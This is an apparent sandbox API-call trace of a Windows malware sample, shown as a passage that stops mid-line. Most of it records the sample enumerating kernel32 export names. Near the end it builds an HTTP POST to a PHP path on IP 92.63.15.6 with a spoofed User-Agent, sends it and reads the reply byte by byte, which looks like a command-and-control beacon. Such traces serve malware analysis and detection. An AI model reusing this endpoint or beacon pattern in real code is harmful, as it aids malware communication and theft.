[0118.388] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.388] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.388] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.388] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.388] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.388] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.388] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.388] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.388] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.388] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.388] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.389] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.389] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.389] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.389] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.389] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.389] lstrlenA (lpString="COPYFILE2") returned 9 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.389] lstrlenA (lpString="COPYFILEA") returned 9 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.389] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.389] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.389] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.389] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.389] lstrlenA (lpString="COPYFILEW") returned 9 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.389] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.389] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.389] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.389] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.389] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.390] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.390] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.390] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.390] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.390] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.390] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.390] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.390] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.390] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.390] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.390] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.390] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.390] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.390] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.390] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.390] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.390] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.391] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.391] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.391] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.391] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.391] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.391] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.391] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.391] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.391] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.391] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.391] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.391] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.391] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.391] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.391] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.391] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.391] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.392] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.392] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.392] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.392] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.392] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.392] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.392] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.392] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.392] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.392] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.392] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.392] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.392] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.392] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.392] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.392] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.393] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.393] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.393] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.393] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.393] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.393] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.393] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.393] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.393] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.393] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.393] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.393] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.393] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.393] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.394] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.394] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.394] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.394] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.394] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.394] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.394] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.394] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.394] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.394] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.395] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.395] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.395] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.395] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.395] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.395] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.395] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.395] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0118.395] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0118.396] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.396] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.397] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0118.397] wsprintfA (in: param_1=0x3c80000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /sepa/archive/fwjglrjbx.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.15.6\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 243 [0118.398] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.398] send (s=0x544, buf=0x3c80000*, len=464, flags=0) returned 464 [0118.398] shutdown (s=0x544, how=1) returned 0 [0118.399] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0118.552] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0118.552] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0118.552] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0118.552] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0118.552] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0118.553] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0118.554] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0118.555] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0118.556] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0118.556] 